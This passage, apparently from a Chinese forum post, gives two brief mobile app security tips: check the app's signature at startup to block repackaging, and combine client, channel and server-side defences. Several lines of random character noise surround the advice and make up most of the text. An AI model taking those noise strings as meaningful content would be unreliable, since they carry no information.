7 O" }5 j0 F, s1 S( I( r9 q( K1 a3 w               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

# K/ p% w$ O, T; t/ Q# K+ r, m- e+ R _6 A8 X. w) ?

  $ j- Y2 m& O2 N5 t3 ~, l

8 t4 ]% G1 k, m4 Q 2 u& O s. a$ f f' `0 { + y1 L' b- A z$ N

& b7 j8 G5 w4 O1 }9 ^ ( H) S: a- L- b D5 [0 E+ w
% D4 Q+ `/ R2 v. h# r0 u